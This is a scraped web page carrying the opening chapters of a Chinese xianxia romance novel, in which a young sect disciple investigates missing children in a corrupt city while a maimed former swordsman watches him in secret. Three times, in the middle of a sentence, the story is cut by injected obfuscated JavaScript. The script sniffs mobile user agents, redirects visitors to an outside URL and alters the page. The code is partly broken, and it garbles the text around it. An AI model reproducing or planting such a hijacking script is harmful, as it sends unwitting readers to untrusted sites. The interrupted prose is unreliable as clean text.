《心上人身中情蛊后》 1. 小猫,小猫 隆冬,漫天的风雪。 修士将斗篷裹得很紧,步履艰难穿过朔雪狂风,终于在山腰处见到小小一座避风亭。 亭中有人闲坐饮茶,面具遮挡了面容,看不出年纪身份,但听声音应当是少年:“雪山难行,来者何人,来此何事?” 少年刚问完,修士的斗篷突然动了起来,一颗小脑袋挣扎着从斗篷中冒了出来,那双明亮的眼珠与他对上,少年明显怔了下。 很小的孩子,被人揣在怀里用斗篷裹着只露出一点脑袋来,投向他的目光茫然得像只被大猫叼着颈子衔来的小狸花猫。 修士回答:“少阳宗花酌,携小徒前来求医。” 早梅香,残雪白。 少年挥剑斩落亭后一支梅花放在了孩子手里。 “上山去吧,药王峰就在那里。” “带上这支梅花,守门人就不会拦你们了。” 。 天旋地转,梦境渐渐模糊,意识清醒过来。 江敛睁开眼,与意识一同苏醒过来的是自后脊一直蔓延至四肢百骸的剧烈痛楚,他疼得一个冷颤,下意识摸向疼痛传来的地方。 那条骨头早被人整个剜走了,如今填在里面的不过是金精玄铁打制的骨架,就算痛也不该是骨头痛。 不过是幻痛而已。 他一边默念只是幻痛,一边摸索着掏出药来吃下去。止痛的丹药渐渐发挥效果,还是疼,但至少能起身了,意识也清醒了不少,有余暇去思考其他,这才恍惚发觉自己梦到了许多年前的事。 大约是因为近日见到了故人吧。 他看向自己自己小指上那道丝线,另一端伸出窗外,被雕花的窗子阻隔着,不知延伸去了哪里。 于是江敛披衣起来走到窗边推开了窗子,他垂眸看过去,街道贩夫走卒来来往往,一派熙攘祥和。 几天过去了,对面楼下的小摊子依旧支在那里,零零散散有几人在排队。 他倚在窗边借力靠着,视线粘在对面楼下那人身上。 顺着丝线看过去,另一端是个十分年轻的修士,端正笔直的坐着,面庞清隽,玉絜冰清。只是年纪到底不大,尽管气质凛凛,却能从容颜上看出两分稚嫩。 没有束发,只是随意的拿发带绑了下,发丝泛着绸缎般的光泽柔软的垂落在肩头,江敛闭眼轻嗅,分明相隔甚远,但他却仿佛闻到了笼在那人发间的幽幽冷香。 真漂亮,像开在夜间的昙花,洁白如玉泛着莹莹的华光。 江敛心情大好呼出口气,赏花般托着脸靠在窗前欣赏对面的人。 只是修士感官终究不同于常人,更何况江敛这视线太过炙热专注,谢舒攸很快便若有所感的抬起头,却只看到了紧闭的门窗,没有找到那视线的源头。 “师兄。”见谢舒攸突然有所动作,站在他身侧的少年即刻警惕起来,“有什么不对吗?” “无事。”谢舒攸收回视线,“方才家中疑似有鬼怪侵扰的那几户都记下来了吗?” “放心吧师兄,地址都记好了。”岑望昭一边咬着笔头写写画画,一边问,“咱们来漱岳也有些日子了,还不去城主府拜谒吗?” 半月前,北海旁的一名叫重溟宗的小宗门投了状子到少阳宗,控告与其相邻的漱岳城城主仗势欺人,倾吞重溟宗灵脉,还无故打伤重溟宗弟子,请求少阳宗宗主为其主持公道。 这种小宗门间的争执普通的执法堂弟子就能处理,谢舒攸这种宗门核心弟子亲自走一趟实在有些大材小用了。 只是重溟宗控告完漱岳城城主恶行没过多久,又有人匿名递信来,说漱岳城中有三尸教余党活动的痕迹,漱岳城城主似乎与其有所勾结。 都说魔族茹毛饮血行径可憎,但这三尸教的名声却比魔族还要臭。魔族尚有两分理智在,三尸教的教徒却全然是一群违逆天道无视人伦的疯子,不仅在人族之中被列为异教祸端,在魔族妖族同样也是被通缉追剿的对象。 数年之前几大宗门联合妖族在魔族提供的消息下一齐端了三尸教的老巢,诛其贼首。然百足之虫死而不僵,仍有些散落在别处的三尸教余党侥幸逃过一劫,四处流窜作乱。 想到三尸教,岑望昭没忍住悄悄看了谢舒攸一眼。 师兄的父母俱是折损在了那次围剿中,血海深仇不共戴天,这大概便是师兄得知此事后马上向师尊请命来此的原因。 “不急,先将此地近况了解一番。”谢舒攸神情淡淡,“至于城主府那边,且晾一晾吧。” 岑望昭虽不懂为什么,但还是点头:“都听师兄的!” 见摊子前不再有来客,谢舒攸起身对岑望朝道:“收拾东西,去除邪祟。” 岑望朝哦了声,将放在一旁桌上的剑拿起抱在怀里,小尾巴一样乖乖跟在谢舒攸身后。 初来此地时,岑望朝还兴致勃勃,一心想着跟随师兄斩杀三尸教余党,救生民于水火,做件被人们听了都拍手盛赞的大事出来。 但来了几天,岑望朝大失所望—— 他们干的完全就是道士的活啊。 “仙长,我书房里的笔筒总是无故翻倒,放在桌边的墨条会突然掉到地上,就连写好的字画上也会出现莫名的抓痕……” 这几日解决的都是类似的事,岑望朝蹲在一旁有些无聊的拿树枝拨蚂蚁。他一边听着书生说话,一边有些郁闷的想,这种连实体都凝不出的小鬼小怪,随便来个江湖术士都能解决,何必亲自来一趟。 师兄和他可都是要做大事的人! 书生看上去就是一副怯弱胆小的模样,眼下乌青一片,估计有几日没敢睡了:“仙长可能看出这是什么野精鬼怪?可会损人寿数?小人一向行事规矩与人为善,从不曾做过坏事,仙长能否代小人问问这位精怪大人可是找错人了?” 人胆小,说话也文文弱弱的没什么底气。 他正说着,桌上的卷轴突然滚动起来,砰得一声砸在书生脚边,将他吓得脸色发白大叫一声躲到谢舒攸身后。 没有入道的凡人看不到魂魄,但谢舒攸却能清楚的看到那小小一团聚不成实体的白雾抬起爪子似的前肢顽皮的将桌上的东西扫到地上,然后跳下桌来高高翘着尾巴走到书生身边,来回蹭书生的小腿。 谢舒攸沉默片刻,然后问:“贵府近日可有猫狗过世?” “有的,有的。”书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383341|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生点头,“我自小养大的猫儿过世了,仙长的意思是作乱的是我的猫?” 他说完,又摇头,像是想起了伤心事:“它过世时已经老得走不动了,不会有力气捉弄我。更何况它是我自小养到大的,与我情谊深厚,不会蓄意吓我。” “它不是要吓你,它不知道自己已经死去了。”谢舒攸看着那只因为得不到回应而着急去攀主人裤腿的小猫鬼,缓缓道,“死去后的魂魄会保持最年轻美好的状态,它觉得自己肢体重新变得灵便轻松了很高兴,想要你陪它玩。” 那书生呆住,脸上的表情变得担忧愧疚起来。谢舒攸看着他,继续说,“死后魂魄最多只能滞留人间七日,若你实在觉得困扰,我可以为它颂往生咒,提前送它入轮回。” “不,不用。”书生慌张起来,匆忙拒绝,像是生怕说的慢了谢舒攸就动手了,“多谢仙长,不必了。” 他甚至没有再问先前提过的精怪是否会折损寿数一事,而是生怕谢舒攸会主动提起般急忙伸手将他往一旁请:“仙长这边请,早前我让家丁略备了些薄礼……” 见事情解决,谢舒攸回绝了礼物,带岑望朝离开。 临到门口,谢舒攸回过头,就看到那书生坐在石阶上,试探着拿了个被线牵着的小球出来。 那小球已经很旧了,大概是小猫鬼生前爱玩的东西。不一会儿那小团白雾就扑了过来,将小球抓得晃来晃去。 谢舒攸看着那怕鬼的书生小心翼翼的将那一团白雾拢在怀里,一边流泪一边嘟囔:“投生个好人家,莫要再误入了畜生道。若你来生作人,还来近我……” 从这户人家离开天色已经暗了下来,谢舒攸沿着江边往回走。 大概是人间的什么节日,许多人围在河边放灯,岑望昭被吸引了视线,雀跃的问他自己能去玩吗。 岑望昭如今不过十四岁,谢舒攸想到自己十四五岁的时候也是孩子脾气没个定性,对什么都感兴趣。 他对岑望昭点点头:“去吧,早点回来。” 岑望昭撒着欢跑开了。 谢舒攸在原地站了会儿觉得有些无趣,又不想回住处,于是沿着江岸漫无目的的走。 渐渐远离了人声喧嚣,他在一块巨石旁坐下。隐约能看到对岸的灯火,有人在隔江弹琵琶。 静坐片刻,谢舒攸从袖中取出一块玉牌,握在手中摩挲。 这玉牌正面是两条游龙,背面刻着龙飞凤舞一个“壹”字,是天机楼天榜第一,魁首标志。 他自言自语起来:“又是那种感觉,今天我又觉得你在看我了。” “是我的错觉吗?你已经变成我的心魔了吗……”他的声音低低的,“还是说,你真的在看我?” “你其实根本没死,一直躲在什么地方,对吧?” 想到这里,谢舒攸心里难过起来。那个人从未在自己面前摘下过面具,就算他站在自己面前,自己也认不出。 “总是骗我,这次是不是又在骗我?” 他将玉佩攥在手心,轻声叹气:“算了,如果你没死,我就原谅你。” 可惜没有人回答他,只有一阵微风拂过,吹皱满江碧水。 2. 人非风月长依旧 六月正是湿热的时节,上一刻还是艳阳高照,下一刻大雨便毫无征兆瓢泼而下。 屋室内一瞬便黑了下来,昏暗的环境让人提不起精神,心中懒顿书也读不进去。江敛躺在摇椅上索性将书扣在脸上,枕着胳膊听雨声。 对过是间茶楼,雨幕中依稀传来说书匠的声音,讲的似乎是五年前那出恶战。 “四大宗门的宗主和精英已与那三尸教贼首鏖战七天七夜,兵困马乏之际,贼教援军忽至,欲成合围之势。就在这生死存亡之际,一面覆金狐面具腰配青龙剑的白衣剑客从天而降,谈笑间掀翻贼众无数,原来他就是天机楼风云录魁首,传说中的天生剑骨……” 杜撰得有些言过其实了啊…… 他当时确实去劈了一剑,不过并非什么从天而降,而是猫在那群教徒后面悄悄跟了一路,在他们来到战场附近集结好队伍要攻进去的时候—— 绕后瞄准,然后横扫一剑劈向所有人屁股。 这一剑攻击性有限但侮辱性极强,而他的目的本来就是将人引走而非一剑杀灭多少敌人。 在成功引起众怒吸引了火力之后他捂着自己屁股就跑了,什么谈笑间掀翻贼众,那不纯胡扯吗,对面那么多人呢,要是报复过来一人给他身上来一剑来年把他摆那儿就能当剑冢了。 把他们引进包围圈他的任务就算完成了,为了出头把自己搭进去可不值当的。 天生剑骨是真的,天生贱骨也是真的,犯贱招惹人这种事他最拿手了,与仙门商量好的任务完成的很出色,如果就此结束,不去管其他。如果…… 没有如果。 无论如何他都做不到坐视不理,于是后来的那些便都成了逃不脱的因果。 江敛有些不适的闭了闭眼,即便事情已经过去了五年,即便只是不经意的想起,心里却依旧会回忆起剑尖撬开骨缝将骨头整块剜出时的痛苦。 比起身体上的痛楚,或许心里更痛吧……剑骨被剜,曾经引以为傲的一切崩塌于瞬息,他再也不能使剑了。 重伤刚醒来时确实消沉了一阵子,分明一切都是为了自己胸中的道义,纵然九死也不该有悔。可旧伤灼得他夜夜不得眠时,发觉手中剑依旧是宝剑可自己不再能做执剑之人时,心里还是忍不住生出些物是人非的恨来。 只恨人非风月长依旧,破镜尘筝,一梦经年瘦。 曾经思慕的人也不敢再见,不知自己该摆出怎样的神情来应对。心平气和的说没关系吗?一朝从剑道天才变成拿不了剑的废物,怎么可能没关系。假装从容?还没开始装他就已经料到自己故作镇定的模样肯定滑稽又难看。 不敢见他,也畏惧看到他对此做出的反应。 他最了解那个孩子,从小到大都只喜欢强大的人,这点一直没变过。 见到自己变成现在这样,那双眼睛里的东西会从喜欢崇拜变成失望厌倦吗?他会皱着眉看自己吗?会冷漠的说他们已经不再相配了吗? 他不敢想,光是想想就觉得还不如给他一刀来得干脆。 他一直能看懂那双眼睛里的情谊,从前是出于一些隐秘的坏心思想要等他先开口。但如今看来没有点破反而是好事。 只要不再相见,慢慢就会忘记吧。 后来皮肉上的伤愈合,他离开家四处游荡。再后来他留在了漱岳城,开了家小医馆,做些能让自己心中安宁的事。 他轻轻呼出口气,口鼻间皆是身后药柜中飘出的药香。思绪有些飘忽的想,冰片和麻黄该补货了,看诊的药箱太旧了,该换个新的了…… 他的剑呢?也不知道去哪了。 估计已经落灰了吧…… 正出神,江敛听到有人进门来了。 他将书从脸上拿开,伸了个懒腰揉着眼:“诊脉一钱上门三钱,雨天上门得加钱。” “啪嗒”“啪嗒” 这脚步声太过湿重了,江敛停下动作看过去。 是个衣衫褴褛年幼的孩子,因为过分瘦削那双眼睛显得格外大,大得让人觉得可怜。没有伞,此时浑身湿透往下滴着水,像是冒雨急奔来的,脸上的表情焦急又局促。 来不及心疼他的实木地板被水泡过会不会发霉了,这个孩子他认得。 实在是命苦得令人咋舌,对这孩子来说称得上天大的恩惠的事于他而言不过举手之劳,于是顺手帮过几次。 “怎么了?”江敛顺手将搭在椅背上的汗巾递过去,“擦擦脸慢慢说。” 那孩子没接,扑通一声朝他跪下,脸上是走投无路的绝望,眼泪大颗大颗落下:“求您,求您救救我妹妹……” “我不会白让您出力,我愿意留在您铺子里给您做一辈子工……” “求求您,求您救救她……” 。 “仙师,小女不见已经三日了……”商人打扮的夫妻满目愁容,面含希冀望向谢舒攸,“仙师可有能寻人的仙术?” 这家夫妻成婚多年只得了一个女儿,如今不过五岁,却突然不见了。 来到漱岳不足七日,这已经是第五家失了孩子的了。 前几家用了追踪术都没有起效,精怪妖魅不会在吃人前大费周章抹除生人气息。这事更像是修道者所为,刻意用术法干扰了追踪,唯恐被人查到。 不知这家会不会是一样的状况。 “有没有孩子常接触的东西?” “有,有……”男人喊着仆从,“快将小姐日日都要抱在怀里的那个拿来!” 谢舒攸从下人手里接过,是件整体由银器打制的拨浪鼓,做工十分精巧,看得出这夫妻很疼惜这个孩子,就连玩具也要做得点金镶玉。 心中慨叹两句,谢舒攸闭目掐诀,拨浪鼓轻轻浮起,在空中颤动两下便又落回了桌上。 谢舒攸睁开眼,眉头紧锁。 又是同样的情况。 正思索着,那拨浪鼓突然抖动两下,掉到了地上。 外面有脚步声传来,还未见人,声音先至:“谢小公子既已到了漱岳,为何不差人通禀一声,真是让我等好找。” 一干人涌进屋内,为首的是个衣着极其张扬华丽的年轻男人,穿了一身扎眼的红,棕褐色的长发束成了马尾但仍能看出发尾是微卷着的,拿着把题了不知什么诗的扇子,在身前一下一下摇着。 他一进门,躺在地上的拨浪鼓便又极微弱的抖动了下,随后便没动静了。 虽然是极微弱的反应,但谢舒攸还是注意到了,他抬眼看向来人。 百年前仙盟尚在时,他的外祖曾在仙盟任审判司司务,日日都要追捕潜逃罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383342|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯,于是最擅追踪术法。 后来这些术法诀窍自然也由先辈教授给了他。 只要接触过,就会有痕迹,哪怕用术法遮盖过,若是距离足够近也还是会有些微反应。 那人开门前还是隐隐不满的语气,但见到谢舒攸脸的那一刻什么不满都烟消云散了。 他对着谢舒攸的脸痴了片刻才记起自己是来干什么的,身前的扇子摇了两下,语气轻缓下来,却难掩轻薄挑逗之意: “是在下失言了,如此美人,莫说是几日,便是一世也等得。早闻仙君美名,如今一见才知何为绝色。不知仙君今晚可有空……” 余下半句不必说出,也都懂是何意。 容色清冷,却自有一番艳烈气质…… 当真是举世罕见的美人啊,就算被拒绝了也能看一幅美人脸红羞赧的美景,也是赚到。 但他没看到想要看到的场景,谢舒攸淡定得很,反倒是他身旁的那小孩登时便涨红了脸色。 “竟敢对我师兄不敬!我看你是……”站在谢舒攸身侧的岑望昭像被踩到尾巴的猫即刻暴怒起来,握住腰侧佩剑便要拔剑出鞘,却被谢舒攸轻轻一挡阻止住。 他温声对师弟道:“望昭,先将李员外李夫人送出门去,这里我有些事要处理。” 岑望昭死死瞪着那人,冷哼一声,但还是听师兄的话将李家夫妻送出了这间屋子。 将师弟支走,谢舒攸表情不变移回视线,神色平淡甚至称得上和颜悦色的询问面前的人:“你叫什么名字?是来做什么的?” 被美人优待,秦烁有些忘乎所以,飘飘然道:“在下秦烁,是漱岳城主的副手,此行是来请小仙君去见我们城……” 主尚未说出口,眼前天地一阵倒转,他甚至没看清谢舒攸的动作便已经躺在了地上,随后便是胸前一阵剧痛疼得他眼前发花,险些吐血。 谢舒攸踩在他胸口碾了两下,脸色依旧是淡淡的,声音也听不出什么起伏:“秦烁,你就是这么请人的吗?” 秦烁带来的随从见状想要上前,但下一刻合体期的威压铺天盖地而来,随从痛苦的跪了一地。 谢舒攸自然没有合体期的修为,这是师尊怕他在外面受欺负让他随身携带的法器,里面有一息师尊的威压。虽然只是一息,但也够谢舒攸在外面横着走了。 临行前谢舒攸还觉得这东西用不上,但现在看来还是师尊想得周到。 秦烁本就疼得眼前发黑,被这威压一震更是几欲昏死过去。 “你请人的方式我不太满意。”谢舒攸踩的位置下移了些许,咔吧一声,秦烁清清楚楚的听到自己的肋骨断了,“听到了吗,说话。” “听到了……”秦烁将涌到喉头的一口老血咽下去,双手合十求饶,“错了,小的知道错了,一定痛改前非再也不敢了……” 长这么大谢舒攸还没受过什么气,没有将这人眼睛剜出来是自己愿意顾全大局。如果他想,就是把人杀了也没什么。 一个杂碎而已。 可怜的蠢货,连自己是什么处境都搞不清楚。 谢舒攸垂眸,为他的行为感到些许怜悯,于是觉得自己应该提点他一下: “你在我面前应该谨小慎微的保护好自己的小命,我杀你甚至不需要理由。” 3. 有天无日 岑望昭回来时,刚刚对师兄出言不逊的那个卷毛男人居然恭恭敬敬弓着腰站在一侧,垂着脑袋眼神都不敢乱瞟的听师兄训话。 不对劲,十分有十二分的不对劲。 这行为与他的流氓气质很不相符。 见他回来,谢舒攸虽然表情没什么波动,但气质看起来缓和了不少:“回来了。” “恩!”岑望昭快步来到谢舒攸身侧,皱着眉看那几个人。 能感觉到视线落在自己身上,秦烁贴墙站好一点都不敢回看,生怕谢舒攸以为自己觊觎他家孩子手起刀落就给他解决了。 见岑望昭一直看他们,谢舒攸问:“怎么了?” “师兄……”岑望昭说,“他们看起来,不太对劲。” 谢舒攸问:“怎么不对劲?” 岑望昭绞尽脑汁组织了一下语言,然后说:“他们看起来这辈子都没这么老实过。” 秦烁心中流泪,不老实就要死了。 谢舒攸摸摸他的脑袋:“没事,不用管他们。师兄刚刚给他们传授了些道理,他们受到了感化,于是决定改邪归正。” 岑望昭对师兄说的话从不多加思考,只是一味相信。他点头问:“那师兄我们接下来去哪儿?” “由秦道友引路,先在城中逛一逛。”谢舒攸道,“傍晚会有接风宴,随我一道去。” “好!” 上了街,秦烁跟在他们左右介绍着漱岳城的风物。 “近日多雨,难得现在天晴了,在这里就能清楚的看见远处的风雷塔,距今已有百余年历史,其下埋藏一条中品灵脉……” “灵脉?”谢舒攸像是想起了什么,若有所思道,“你们抢的那条?” 秦烁:…… 哪有说话这么直接的。 “哈哈,哪有的事,仙君真会说笑。”秦烁打着哈哈想糊弄过去,“什么抢不抢的,我们漱岳民风淳朴,家家夜不闭户,路不拾遗,人人安居乐业,怎么会有那种事……” 秦烁话还没说完,前方一阵喧闹。 谢舒攸顺着声音来源看过去,是两个背着药箱医者打扮的人当街厮打起来。 他的视线落在了其中一人身上,那是个很年轻俊逸的面孔,瞳色偏浅,眼睛是微向下弯的,让谢舒攸无端想起了自己许多年前带回家的那条小狗。 那小狗是一个故人所赠,他高高兴兴将小狗带了回去,问师尊能不能养。 师尊看过后,只说了两个字:“八年。” 他不解其意,师尊告诉他,这条小狗命薄体衰,就算精心养着,也至多只有八年可活。 八年,于修行者来说太短了,不过弹指一挥间。 小狗在他怀里活泼的挣动着,两条前爪搭在他身上来蹭他的脸。这样温热的生命抱在怀里暖洋洋的,让他冰冷的躯体好像也染上了一丝温度。他将脸埋在小狗毛绒绒的胸脯,对师尊说,要养,只有八年也要养。 但后来小狗变成了老狗,老狗变成了死狗,将小狗送他的人却没再回来看它一眼。 在谢舒攸看过去的时候,恰好那人也在看他。目光短暂的对上,那人怔住片刻,但很快就因为分神而落于下风,被另一人按住痛打。 他抬起胳膊挡住砸来的拳头,宽大的衣摆垂下,顺势遮住了脸。 见谢舒攸被吸引了视线,秦烁刚说完本地民风淳朴,见了这种事也不好不管,挥手示意手下去将两人拉开。 秦烁硬着头皮上去劝架:“干什么呢,都是同道,有什么事不能好好说?” 打人的那个理直气壮:“这厮忒不讲理!” 被打的那个捂着脸:“此人欺人太甚……” 两人又七嘴八舌争吵起来,秦烁被吵得头疼:“安静,都安静!” 他随手指了一个:“你说,怎么回事。” 被点到的人满脸愤愤不平,指着另一个鼻子骂道:“此人实在可恶,这条街上我医大人,他医孩子。我医的大人俱投生成了孩子给他医,他医的孩子却无一个长大来给我医!” 看来都是庸医……长得不错,可惜干的不是人事。 谢舒攸平静道:“当真是民风淳朴啊。” 秦烁陪着笑:“这实在是意外……” 他说着,示意手下将两人都抓起来:“把这两个庸医一齐绑了,羁押候审。” “实在是意外,让仙君见笑了。”见谢舒攸已经收回目光要转身离开,秦烁跟在他身后小心翼翼道,“此等小事还是不要传到花酌尊上的耳朵里了,以免污了尊上的耳朵……” “所见所闻我自会如实禀明师尊,师尊自有决断。” “……” 待人转身离开,江敛才将视线重新落到那人身上。 不知道是不是因为这五年间彻底长开了,瘦了许多,从前能看到的颊边软肉全然不见了。这瘦削从近处看比前日楼上那一望看得要更清楚明白,手上淡青色的血管都能看得分明。也不爱笑了,像他那个师尊一样对谁都板着脸。 不过还好,没学得跟他那个师尊似的整日皱着眉,眉间都蹙出痕迹来了。 明明心里清楚江敛根本没见过自己本来的面容,但一回想起刚刚谢舒攸冷漠的神色,江敛心里有什么东西涌动起来。 为什么认不出自己,是不够喜欢吗,还是说真的早就把自己忘了?对了,他师尊是修无情道的,他是不是也跟着他师尊修起了无情道? 江敛神情有些阴郁起来,死死盯着谢舒攸离去的方向,他怎么能…… “看什么看!走!”身旁城主府的侍卫搡了他一把,但江敛回过头看向他的眼神让他下意识后退了一步。侍从后脊发凉,激起一身冷汗。 江敛摇了摇头,不对,不对。不告而别的是自己,谢舒攸不欠他什么,说到底都是自己活该。 这一搡让他找回了些理智,怎么又开始了,这种湿漉的,肮脏的,鬼一样见不得人的心思。 这些年他不敢见谢舒攸的另一个原因,就是这个。 他根本不知道自己什么时候会突然犯病,魔怔了一样找不回神志。 感觉五年前他失去的不光是他的剑骨,还有他的脑子也一并缺了点什么,让他不定时抽风。 江敛很快调整好了表情,笑起来:“劳烦大哥轻点推,这刚被人揍了身上的伤还疼着。” 那一瞬的恐惧快得好像错觉,下一刻眼前的人又是一副吊儿郎当江湖郎中的模样。 笃定了刚刚是错觉,侍从又有底气起来:“哪这么多废话,走!” 侍从将两人绑了,直接压去了城主府的暗狱。 “这什么地方啊?”江敛身旁那人装模作样的惊呼一声,“不是候审吗?怎么直接下狱了。” “审审审,谁有功夫审。”侍从啐了口,将牢门锁上,“待着吧,说不定哪天运气好被城主挑中炼丹就能出来了。” “什么意思啊?喂,那是什么意思?”那人还在呼喊,但侍从已经走远了,头都不回。 “真是的……”他又张望片刻,见人确实走了,这才轻松挣脱绳子,转头看向江敛,挽尊道,“真是的,亏你能想出这么个馊主意进城主府,药王谷的脸都被你丢尽了!” 江敛也解开了绳子,嬉皮笑脸凑过来:“你不也演的挺投入吗,这些小事回去就别跟我爹我娘他们讲了呗。” “谷主和峰主才没功夫管这种事。”牢中的怪味让陈述嫌弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383343|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的皱了皱鼻子,“他们正事都处理不过来!” 江敛觉得也是,虽然自己整日游手好闲,但他爹娘那可都是人物。 两人都重功利,性格那也是天造地设的一对。他爹心狠手辣,他娘口蜜腹剑。 而他也并非一无是处,至少把爹娘的性格一人继承了一半。 他爹心狠手辣,他继承了他爹有心有手;他娘口蜜腹剑,他继承了这四个字里的口剑两字。 哦对,剑只是发个音没什么实意,实际上应该是口贱。 “这里臭死了,快施法寻人。”陈述忍无可忍的捂住鼻子,“快点找到人快点离开。” …… 傍晚时候又下起雨来。 殿外风潇雨晦,天色昏黑而漫无边际。而殿内却灯烛荧煌,丝竹并作,不知天上人间。 又是一曲舞毕,笙箫暂止,坐在主座上的男人笑着向谢舒攸举杯:“今日这酒宴是为贤侄所设,还望贤侄不要拘谨,尽兴才好。” 谢舒攸略一举杯,算是回礼。 见状,漱岳城城主大笑起来,目光将谢舒攸上下打量,粗声粗气道:“昔日我曾见过你的父母,俱是人中龙凤,只可惜老天无眼怨妒英才。第一眼见你,本座就觉得你与你的父母甚是相像,如今坐于堂下,竟有如故人在侧!” 他的畅快并非作伪,天资极高又如何,恩爱眷侣又如何,还不是早早死了。 心情不错,他随口问道:“本座记得贤侄是剑修,怎么不见有佩剑在身呐?” 是爹娘都死了,没人管了吗? 手中酒盏冰凉,酒香醇厚似是好酒。谢舒攸将酒盏轻轻晃着,酒香散发出啦,他有些馋酒,又很挑剔的不想喝外面的东西。 心情不太好,于是回答也很简短:“没有合适的,宁缺毋滥,不愿将就。” 见谢舒攸只是握着酒杯摩挲并没有要喝的意思,他复又举杯:“此酒名唤冰莲雨露,需得常年储存在冰室之中。如今天气酷热,要维持冰室不化消耗的灵石可是一笔不小的数目……” 他洋洋得意道:“此酒难得,贤侄不妨尝尝?” 谢舒攸眉头皱了下,一想到那些灵石是哪来的瞬间感觉胃口全无。 他将酒杯放下,反感道:“不必了。” “哈哈,胃口不好?也是,漱岳暑天难捱,要论避阳消暑之地还得是北茫宗。听说北茫一年里有六个月积雪不化,六个月温暖如春,实在是消暑圣地啊。” 他说着,早有谋划般看向谢舒攸:“我听说北茫现今的宗主,是贤侄的叔公?” 谢舒攸蹙着眉没有答复,那人仍在自顾自的继续说: “早闻世所罕见的金晶玄铁便是出自北茫的玄铁矿,不如这样,劳驾贤侄来做个中间人,代本座向你叔公问好,顺便问一问这北茫的玄铁矿可否分一成给我们开采,就当交个朋友,漱岳城愿将新得的灵脉分一半给北茫。” 谢舒攸问:“这新得的灵脉,可是从重溟宗抢来的那条?” 像是听到了什么荒唐话,他又大笑起来:“到了本座手里的东西,自然就是本座的,何来抢字一说呢。” 听着他笑,谢舒攸也笑了下。 这是今晚谢舒攸第一次流露出明显的表情,秦昊问:“贤侄笑什么?” 谢舒攸将手扣在桌面上,轻轻敲了敲:“我笑方才城主说避暑北茫最佳,我倒觉得不及此处。” 秦昊还当是什么奉承话,饶有兴趣的问:“何解?” 谢舒攸面上的笑意散尽,目光不避不让直视着他,语气虽缓,但一字一句却能让在座诸人都听得清清楚楚:“炎天暑月,别处皆是烈日高悬……” “唯独此处有天无日。” 4. 你流什么鼻血 话音落下,一室寂静。 歌舞也停了,喧闹也止了,其他人惊疑不定的互相对视起来,都在彼此眼中看出了惊愕。 四座皆是城主府的人,他们不懂谢舒攸为何还敢如此挑衅。 秦昊没有说话,他的脸色阴沉下来捏紧了手中的酒盏,向黑暗中递了个眼神。 下一瞬,身负古朴长刀的黑衣人影不知从何处闪现,从背后抽出长刀没有丝毫停顿朝谢舒攸袭来。 这刀砍来的又急又猛,在旁人看来是想要躲开都十分艰难的一击,谢舒攸却安坐在席上半点起身的意思都没有,握在手中的酒杯裹了层灵力,又稳又准的掷了出去。 酒杯迎刀而断,酒液泼洒出来。 一击不中的刺客重新蓄势挥刀砍来,但这个空档谢舒攸已反手抽走了身旁邻座之人的佩剑,他依旧没有躲闪的意思,目不斜视直直迎上来,兵刃相接发出“吭”得一声尖锐鸣响。 虎口被震得发麻,久违的感觉让谢舒攸舒爽的眯了下眼,筋骨都活泛开了。 他松了松手重新握紧剑柄,对呆住愣在那里还没反应过来的岑望昭道:“望昭,去我身后。” 岑望昭清楚自己几斤几两,不给师兄添乱就不错了。他匆忙应声躲去攻击范围之外,翻着储物戒找出防御法器来给师兄罩上。 虽然用不上,但谢舒攸也没拒绝师弟的好意。总得让他出点力,免得孩子一会儿觉得自己一点忙没帮上又要愧疚。 短短几息又过了数招,“呯”“嗙”的兵刃相接之声不绝于耳。 他们动作快得只剩残影,其他人大多事不关己的观战,唯有一人焦急得直冒汗:“嗨呀,慢点,慢点啊……” 城主身侧的秦烁起疑,挥手将他捉到身旁:“少阳宗的人挨打,你急什么?” “话虽如此……”那人急得直拍手,被秦烁捉着颈后衣领都阻止不了他伸着脖子仔仔细细的看两人过招,脸上的表情心疼得快哭了:“可他用的是我的剑啊!我的剑啊!!!” 那人发出老婆被人抢了的痛苦哀嚎:“我买来后都没舍得用过啊!晚上我都舍不得让它睡剑鞘,都是它睡床我挂墙上!!!今日竟遭此贼如此糟踏!!!” 秦烁默默松了手,心下同情:“那真是很不幸了……” 手中剑并非自己的,但也是把开了灵智的好剑。此时正嗡嗡鸣响着,不情愿被主人以外的人使用但又对他颇为畏惧,于是以极微弱的存在感昭示着反抗。 但接连过了几招之后,这微弱的反抗也没了,也不知是听天由命了还是震晕了。 谢舒攸渐渐摸清了对方的路数,出剑变得游刃有余起来,从一开始的有来有往变成了单方面的压制戏耍。 已经能将对方了结了,但他还没玩够。 多久没握过真剑了?谢舒攸自己都记不清了。 